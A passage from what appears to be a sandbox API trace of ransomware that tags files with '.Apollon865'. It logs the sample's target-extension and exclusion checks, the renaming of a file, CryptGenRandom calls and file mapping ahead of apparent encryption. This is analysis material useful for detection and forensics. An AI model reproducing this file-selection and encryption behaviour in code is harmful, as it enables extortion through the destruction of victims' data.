	[0062.804] lstrlenW (lpString="dadiagrams") returned 10
	[0062.804] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1
	[0062.804] lstrlenW (lpString="daschema") returned 8
	[0062.804] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1
	[0062.804] lstrlenW (lpString="db-journal") returned 10
	[0062.804] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1
	[0062.804] lstrlenW (lpString="db-shm") returned 6
	[0062.804] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1
	[0062.804] lstrlenW (lpString="db-wal") returned 6
	[0062.804] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1
	[0062.804] lstrlenW (lpString="dbc") returned 3
	[0062.804] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1
	[0062.804] lstrlenW (lpString="dbs") returned 3
	[0062.804] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1
	[0062.805] lstrlenW (lpString="dbt") returned 3
	[0062.805] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1
	[0062.805] lstrlenW (lpString="dbv") returned 3
	[0062.805] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1
	[0062.805] lstrlenW (lpString="dbx") returned 3
	[0062.805] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1
	[0062.805] lstrlenW (lpString="dcb") returned 3
	[0062.805] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1
	[0062.805] lstrlenW (lpString="dct") returned 3
	[0062.805] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1
	[0062.805] lstrlenW (lpString="dcx") returned 3
	[0062.805] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1
	[0062.805] lstrlenW (lpString="ddl") returned 3
	[0062.805] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1
	[0062.805] lstrlenW (lpString="dlis") returned 4
	[0062.805] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1
	[0062.805] lstrlenW (lpString="dp1") returned 3
	[0062.805] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1
	[0062.805] lstrlenW (lpString="dqy") returned 3
	[0062.805] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1
	[0062.805] lstrlenW (lpString="dsk") returned 3
	[0062.805] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1
	[0062.805] lstrlenW (lpString="dsn") returned 3
	[0062.805] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1
	[0062.805] lstrlenW (lpString="dtsx") returned 4
	[0062.805] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1
	[0062.805] lstrlenW (lpString="dxl") returned 3
	[0062.805] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1
	[0062.805] lstrlenW (lpString="eco") returned 3
	[0062.805] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1
	[0062.805] lstrlenW (lpString="ecx") returned 3
	[0062.805] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1
	[0062.805] lstrlenW (lpString="edb") returned 3
	[0062.805] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1
	[0062.805] lstrlenW (lpString="epim") returned 4
	[0062.806] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1
	[0062.806] lstrlenW (lpString="fcd") returned 3
	[0062.806] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1
	[0062.806] lstrlenW (lpString="fdb") returned 3
	[0062.806] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1
	[0062.806] lstrlenW (lpString="fic") returned 3
	[0062.806] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1
	[0062.806] lstrlenW (lpString="flexolibrary") returned 12
	[0062.806] lstrlenW (lpString="fm5") returned 3
	[0062.806] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1
	[0062.806] lstrlenW (lpString="fmp") returned 3
	[0062.806] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1
	[0062.806] lstrlenW (lpString="fmp12") returned 5
	[0062.806] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1
	[0062.806] lstrlenW (lpString="fmpsl") returned 5
	[0062.806] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1
	[0062.806] lstrlenW (lpString="fol") returned 3
	[0062.806] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1
	[0062.806] lstrlenW (lpString="fp3") returned 3
	[0062.806] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1
	[0062.806] lstrlenW (lpString="fp4") returned 3
	[0062.806] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1
	[0062.806] lstrlenW (lpString="fp5") returned 3
	[0062.806] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1
	[0062.806] lstrlenW (lpString="fp7") returned 3
	[0062.806] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1
	[0062.806] lstrlenW (lpString="fpt") returned 3
	[0062.806] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1
	[0062.806] lstrlenW (lpString="frm") returned 3
	[0062.806] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1
	[0062.806] lstrlenW (lpString="gdb") returned 3
	[0062.806] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0062.806] lstrlenW (lpString="gdb") returned 3
	[0062.806] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0062.807] lstrlenW (lpString="grdb") returned 4
	[0062.807] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1
	[0062.807] lstrlenW (lpString="gwi") returned 3
	[0062.807] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1
	[0062.807] lstrlenW (lpString="hdb") returned 3
	[0062.807] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1
	[0062.807] lstrlenW (lpString="his") returned 3
	[0062.807] lstrcmpiW (lpString1="ini", lpString2="his") returned 1
	[0062.807] lstrlenW (lpString="ib") returned 2
	[0062.807] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1
	[0062.807] lstrlenW (lpString="idb") returned 3
	[0062.807] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1
	[0062.807] lstrlenW (lpString="ihx") returned 3
	[0062.807] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1
	[0062.807] lstrlenW (lpString="itdb") returned 4
	[0062.807] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1
	[0062.807] lstrlenW (lpString="itw") returned 3
	[0062.807] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1
	[0062.807] lstrlenW (lpString="jet") returned 3
	[0062.807] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1
	[0062.807] lstrlenW (lpString="jtx") returned 3
	[0062.807] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1
	[0062.807] lstrlenW (lpString="kdb") returned 3
	[0062.807] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1
	[0062.807] lstrlenW (lpString="kexi") returned 4
	[0062.807] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1
	[0062.807] lstrlenW (lpString="kexic") returned 5
	[0062.807] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1
	[0062.807] lstrlenW (lpString="kexis") returned 5
	[0062.807] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1
	[0062.807] lstrlenW (lpString="lgc") returned 3
	[0062.807] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1
	[0062.807] lstrlenW (lpString="lwx") returned 3
	[0062.807] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1
	[0062.807] lstrlenW (lpString="maf") returned 3
	[0062.808] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1
	[0062.808] lstrlenW (lpString="maq") returned 3
	[0062.808] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1
	[0062.808] lstrlenW (lpString="mar") returned 3
	[0062.808] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1
	[0062.808] lstrlenW (lpString="marshal") returned 7
	[0062.808] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1
	[0062.808] lstrlenW (lpString="mas") returned 3
	[0062.808] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1
	[0062.808] lstrlenW (lpString="mav") returned 3
	[0062.808] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1
	[0062.808] lstrlenW (lpString="maw") returned 3
	[0062.808] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1
	[0062.808] lstrlenW (lpString="mdbhtml") returned 7
	[0062.808] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1
	[0062.808] lstrlenW (lpString="mdn") returned 3
	[0062.808] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1
	[0062.808] lstrlenW (lpString="mdt") returned 3
	[0062.808] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1
	[0062.808] lstrlenW (lpString="mfd") returned 3
	[0062.808] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1
	[0062.808] lstrlenW (lpString="mpd") returned 3
	[0062.808] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1
	[0062.808] lstrlenW (lpString="mrg") returned 3
	[0062.808] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1
	[0062.808] lstrlenW (lpString="mud") returned 3
	[0062.808] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1
	[0062.808] lstrlenW (lpString="mwb") returned 3
	[0062.808] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1
	[0062.808] lstrlenW (lpString="myd") returned 3
	[0062.808] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1
	[0062.808] lstrlenW (lpString="ndf") returned 3
	[0062.808] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1
	[0062.808] lstrlenW (lpString="nnt") returned 3
	[0062.808] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1
	[0062.809] lstrlenW (lpString="nrmlib") returned 6
	[0062.809] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1
	[0062.809] lstrlenW (lpString="ns2") returned 3
	[0062.809] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1
	[0062.809] lstrlenW (lpString="ns3") returned 3
	[0062.809] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1
	[0062.809] lstrlenW (lpString="ns4") returned 3
	[0062.809] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1
	[0062.809] lstrlenW (lpString="nsf") returned 3
	[0062.809] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1
	[0062.809] lstrlenW (lpString="nv") returned 2
	[0062.809] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1
	[0062.809] lstrlenW (lpString="nv2") returned 3
	[0062.809] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1
	[0062.809] lstrlenW (lpString="nwdb") returned 4
	[0062.809] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1
	[0062.809] lstrlenW (lpString="nyf") returned 3
	[0062.809] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1
	[0062.809] lstrlenW (lpString="odb") returned 3
	[0062.809] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0062.809] lstrlenW (lpString="odb") returned 3
	[0062.809] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0062.809] lstrlenW (lpString="oqy") returned 3
	[0062.809] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1
	[0062.809] lstrlenW (lpString="ora") returned 3
	[0062.809] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1
	[0062.809] lstrlenW (lpString="orx") returned 3
	[0062.809] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1
	[0062.809] lstrlenW (lpString="owc") returned 3
	[0062.809] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1
	[0062.809] lstrlenW (lpString="p96") returned 3
	[0062.809] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1
	[0062.809] lstrlenW (lpString="p97") returned 3
	[0062.809] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1
	[0062.810] lstrlenW (lpString="pan") returned 3
	[0062.810] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1
	[0062.810] lstrlenW (lpString="pdb") returned 3
	[0062.810] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1
	[0062.810] lstrlenW (lpString="pdm") returned 3
	[0062.810] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1
	[0062.810] lstrlenW (lpString="pnz") returned 3
	[0062.810] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1
	[0062.810] lstrlenW (lpString="qry") returned 3
	[0062.810] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1
	[0062.810] lstrlenW (lpString="qvd") returned 3
	[0062.810] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1
	[0062.810] lstrlenW (lpString="rbf") returned 3
	[0062.810] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1
	[0062.810] lstrlenW (lpString="rctd") returned 4
	[0062.810] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1
	[0062.810] lstrlenW (lpString="rod") returned 3
	[0062.810] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1
	[0062.810] lstrlenW (lpString="rodx") returned 4
	[0062.810] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1
	[0062.810] lstrlenW (lpString="rpd") returned 3
	[0062.810] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1
	[0062.810] lstrlenW (lpString="rsd") returned 3
	[0062.810] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1
	[0062.810] lstrlenW (lpString="sas7bdat") returned 8
	[0062.810] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1
	[0062.810] lstrlenW (lpString="sbf") returned 3
	[0062.810] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1
	[0062.810] lstrlenW (lpString="scx") returned 3
	[0062.810] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1
	[0062.810] lstrlenW (lpString="sdb") returned 3
	[0062.810] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1
	[0062.810] lstrlenW (lpString="sdc") returned 3
	[0062.810] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1
	[0062.810] lstrlenW (lpString="sdf") returned 3
	[0062.811] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1
	[0062.811] lstrlenW (lpString="sis") returned 3
	[0062.811] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1
	[0062.811] lstrlenW (lpString="spq") returned 3
	[0062.811] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1
	[0062.811] lstrlenW (lpString="te") returned 2
	[0062.811] lstrcmpiW (lpString1="ni", lpString2="te") returned -1
	[0062.811] lstrlenW (lpString="teacher") returned 7
	[0062.811] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1
	[0062.811] lstrlenW (lpString="tmd") returned 3
	[0062.811] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1
	[0062.811] lstrlenW (lpString="tps") returned 3
	[0062.811] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1
	[0062.811] lstrlenW (lpString="trc") returned 3
	[0062.811] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0062.811] lstrlenW (lpString="trc") returned 3
	[0062.811] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0062.811] lstrlenW (lpString="trm") returned 3
	[0062.811] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1
	[0062.811] lstrlenW (lpString="udb") returned 3
	[0062.811] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1
	[0062.811] lstrlenW (lpString="udl") returned 3
	[0062.811] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1
	[0062.811] lstrlenW (lpString="usr") returned 3
	[0062.811] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1
	[0062.811] lstrlenW (lpString="v12") returned 3
	[0062.811] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1
	[0062.811] lstrlenW (lpString="vis") returned 3
	[0062.811] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1
	[0062.811] lstrlenW (lpString="vpd") returned 3
	[0062.811] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1
	[0062.811] lstrlenW (lpString="vvv") returned 3
	[0062.811] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1
	[0062.811] lstrlenW (lpString="wdb") returned 3
	[0062.812] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1
	[0062.812] lstrlenW (lpString="wmdb") returned 4
	[0062.812] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1
	[0062.812] lstrlenW (lpString="wrk") returned 3
	[0062.812] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1
	[0062.812] lstrlenW (lpString="xdb") returned 3
	[0062.812] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1
	[0062.812] lstrlenW (lpString="xld") returned 3
	[0062.812] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1
	[0062.812] lstrlenW (lpString="xmlff") returned 5
	[0062.812] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1
	[0062.812] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\desktop.ini.Apollon865") returned 84
	[0062.812] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\d68g7bij\\desktop.ini"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\desktop.ini.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\d68g7bij\\desktop.ini.apollon865"), dwFlags=0x1) returned 1
	[0062.828] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\desktop.ini.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\d68g7bij\\desktop.ini.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0062.828] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=67) returned 1
	[0062.828] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0062.828] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0062.828] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0062.829] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf788) returned 1
	[0062.829] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0062.829] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0062.830] CreateFileMappingW (hFile=0x118, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x350, lpName=0x0) returned 0x154
	[0062.833] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x350) returned 0x100000
	[0062.835] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf788) returned 1
	[0062.835] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0062.835] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0062.835] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0062.835] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0062.836] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0062.836] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0062.836] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0062.836] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0062.836] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0062.836] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0062.836] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0062.836] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0062.836] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0062.836] CloseHandle (hObject=0x154) returned 1
	[0062.836] CloseHandle (hObject=0x118) returned 1
	[0062.836] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0062.836] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0062.836] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0062.836] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x668c5a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 1
	[0062.836] lstrcmpiW (lpString1="fwlink[1]", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.837] lstrcmpiW (lpString1="fwlink[1]", lpString2="Apollon865.txt.exe") returned 1
	[0062.837] lstrcmpiW (lpString1="fwlink[1]", lpString2=".") returned 1
	[0062.837] lstrcmpiW (lpString1="fwlink[1]", lpString2="..") returned 1
	[0062.837] lstrcmpiW (lpString1="fwlink[1]", lpString2="windows") returned -1
	[0062.837] lstrcmpiW (lpString1="fwlink[1]", lpString2="bootmgr") returned 1
	[0062.837] lstrcmpiW (lpString1="fwlink[1]", lpString2="temp") returned -1
	[0062.837] lstrcmpiW (lpString1="fwlink[1]", lpString2="pagefile.sys") returned -1
	[0062.837] lstrcmpiW (lpString1="fwlink[1]", lpString2="boot") returned 1
	[0062.837] lstrcmpiW (lpString1="fwlink[1]", lpString2="ids.txt") returned -1
	[0062.837] lstrcmpiW (lpString1="fwlink[1]", lpString2="ntuser.dat") returned -1
	[0062.837] lstrcmpiW (lpString1="fwlink[1]", lpString2="perflogs") returned -1
	[0062.837] lstrcmpiW (lpString1="fwlink[1]", lpString2="MSBuild") returned -1
	[0062.837] lstrlenW (lpString="fwlink[1]") returned 9
	[0062.837] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\desktop.ini") returned 73
	[0062.837] lstrcpyW (in: lpString1=0x119e684, lpString2="fwlink[1]" | out: lpString1="fwlink[1]") returned="fwlink[1]"
	[0062.837] lstrlenW (lpString="fwlink[1]") returned 9
	[0062.837] lstrlenW (lpString="Apollon865") returned 10
	[0062.837] lstrlenW (lpString=".dll") returned 4
	[0062.837] lstrcmpiW (lpString1="fwlink[1]", lpString2=".dll") returned 1
	[0062.837] lstrlenW (lpString=".lnk") returned 4
	[0062.837] lstrcmpiW (lpString1="fwlink[1]", lpString2=".lnk") returned 1
	[0062.837] lstrlenW (lpString=".ini") returned 4
	[0062.837] lstrcmpiW (lpString1="fwlink[1]", lpString2=".ini") returned 1
	[0062.837] lstrlenW (lpString=".sys") returned 4
	[0062.837] lstrcmpiW (lpString1="fwlink[1]", lpString2=".sys") returned 1
	[0062.837] lstrlenW (lpString="fwlink[1]") returned 9
	[0062.837] lstrlenW (lpString="bak") returned 3
	[0062.837] lstrcmpiW (lpString1="[1]", lpString2="bak") returned -1
	[0062.837] lstrlenW (lpString="ba_") returned 3
	[0062.837] lstrcmpiW (lpString1="[1]", lpString2="ba_") returned -1
	[0062.837] lstrlenW (lpString="dbb") returned 3
	[0062.838] lstrcmpiW (lpString1="[1]", lpString2="dbb") returned -1
	[0062.838] lstrlenW (lpString="vmdk") returned 4
	[0062.838] lstrcmpiW (lpString1="k[1]", lpString2="vmdk") returned -1
	[0062.838] lstrlenW (lpString="rar") returned 3
	[0062.838] lstrcmpiW (lpString1="[1]", lpString2="rar") returned -1
	[0062.838] lstrlenW (lpString="zip") returned 3
	[0062.838] lstrcmpiW (lpString1="[1]", lpString2="zip") returned -1
	[0062.838] lstrlenW (lpString="tgz") returned 3
	[0062.838] lstrcmpiW (lpString1="[1]", lpString2="tgz") returned -1
	[0062.838] lstrlenW (lpString="vbox") returned 4
	[0062.838] lstrcmpiW (lpString1="k[1]", lpString2="vbox") returned -1
	[0062.838] lstrlenW (lpString="vdi") returned 3
	[0062.838] lstrcmpiW (lpString1="[1]", lpString2="vdi") returned -1
	[0062.838] lstrlenW (lpString="vhd") returned 3
	[0062.838] lstrcmpiW (lpString1="[1]", lpString2="vhd") returned -1
	[0062.838] lstrlenW (lpString="vhdx") returned 4
	[0062.838] lstrcmpiW (lpString1="k[1]", lpString2="vhdx") returned -1
	[0062.838] lstrlenW (lpString="avhd") returned 4
	[0062.838] lstrcmpiW (lpString1="k[1]", lpString2="avhd") returned 1
	[0062.838] lstrlenW (lpString="db") returned 2
	[0062.838] lstrcmpiW (lpString1="1]", lpString2="db") returned -1
	[0062.838] lstrlenW (lpString="db2") returned 3
	[0062.838] lstrcmpiW (lpString1="[1]", lpString2="db2") returned -1
	[0062.838] lstrlenW (lpString="db3") returned 3
	[0062.838] lstrcmpiW (lpString1="[1]", lpString2="db3") returned -1
	[0062.838] lstrlenW (lpString="dbf") returned 3
	[0062.838] lstrcmpiW (lpString1="[1]", lpString2="dbf") returned -1
	[0062.838] lstrlenW (lpString="mdf") returned 3
	[0062.838] lstrcmpiW (lpString1="[1]", lpString2="mdf") returned -1
	[0062.838] lstrlenW (lpString="mdb") returned 3
	[0062.838] lstrcmpiW (lpString1="[1]", lpString2="mdb") returned -1
	[0062.838] lstrlenW (lpString="sql") returned 3
	[0062.838] lstrcmpiW (lpString1="[1]", lpString2="sql") returned -1
	[0062.839] lstrlenW (lpString="sqlite") returned 6
	[0062.839] lstrcmpiW (lpString1="ink[1]", lpString2="sqlite") returned -1
	[0062.839] lstrlenW (lpString="sqlite3") returned 7
	[0062.839] lstrcmpiW (lpString1="link[1]", lpString2="sqlite3") returned -1
	[0062.839] lstrlenW (lpString="sqlitedb") returned 8
	[0062.839] lstrcmpiW (lpString1="wlink[1]", lpString2="sqlitedb") returned 1
	[0062.839] lstrlenW (lpString="xml") returned 3
	[0062.839] lstrcmpiW (lpString1="[1]", lpString2="xml") returned -1
	[0062.839] lstrlenW (lpString="$er") returned 3
	[0062.839] lstrcmpiW (lpString1="[1]", lpString2="$er") returned 1
	[0062.839] lstrlenW (lpString="4dd") returned 3
	[0062.839] lstrcmpiW (lpString1="[1]", lpString2="4dd") returned -1
	[0062.839] lstrlenW (lpString="4dl") returned 3
	[0062.839] lstrcmpiW (lpString1="[1]", lpString2="4dl") returned -1
	[0062.839] lstrlenW (lpString="^^^") returned 3
	[0062.839] lstrcmpiW (lpString1="[1]", lpString2="^^^") returned -1
	[0062.839] lstrlenW (lpString="abs") returned 3
	[0062.839] lstrcmpiW (lpString1="[1]", lpString2="abs") returned -1
	[0062.839] lstrlenW (lpString="abx") returned 3
	[0062.839] lstrcmpiW (lpString1="[1]", lpString2="abx") returned -1
	[0062.839] lstrlenW (lpString="accdb") returned 5
	[0062.839] lstrcmpiW (lpString1="nk[1]", lpString2="accdb") returned 1
	[0062.839] lstrlenW (lpString="accdc") returned 5
	[0062.839] lstrcmpiW (lpString1="nk[1]", lpString2="accdc") returned 1
	[0062.839] lstrlenW (lpString="accde") returned 5
	[0062.839] lstrcmpiW (lpString1="nk[1]", lpString2="accde") returned 1
	[0062.839] lstrlenW (lpString="accdr") returned 5
	[0062.839] lstrcmpiW (lpString1="nk[1]", lpString2="accdr") returned 1
	[0062.839] lstrlenW (lpString="accdt") returned 5
	[0062.839] lstrcmpiW (lpString1="nk[1]", lpString2="accdt") returned 1
	[0062.839] lstrlenW (lpString="accdw") returned 5
	[0062.839] lstrcmpiW (lpString1="nk[1]", lpString2="accdw") returned 1
	[0062.839] lstrlenW (lpString="accft") returned 5
	[0062.839] lstrcmpiW (lpString1="nk[1]", lpString2="accft") returned 1
	[0062.839] lstrlenW (lpString="adb") returned 3
	[0062.840] lstrcmpiW (lpString1="[1]", lpString2="adb") returned -1
	[0062.840] lstrlenW (lpString="adb") returned 3
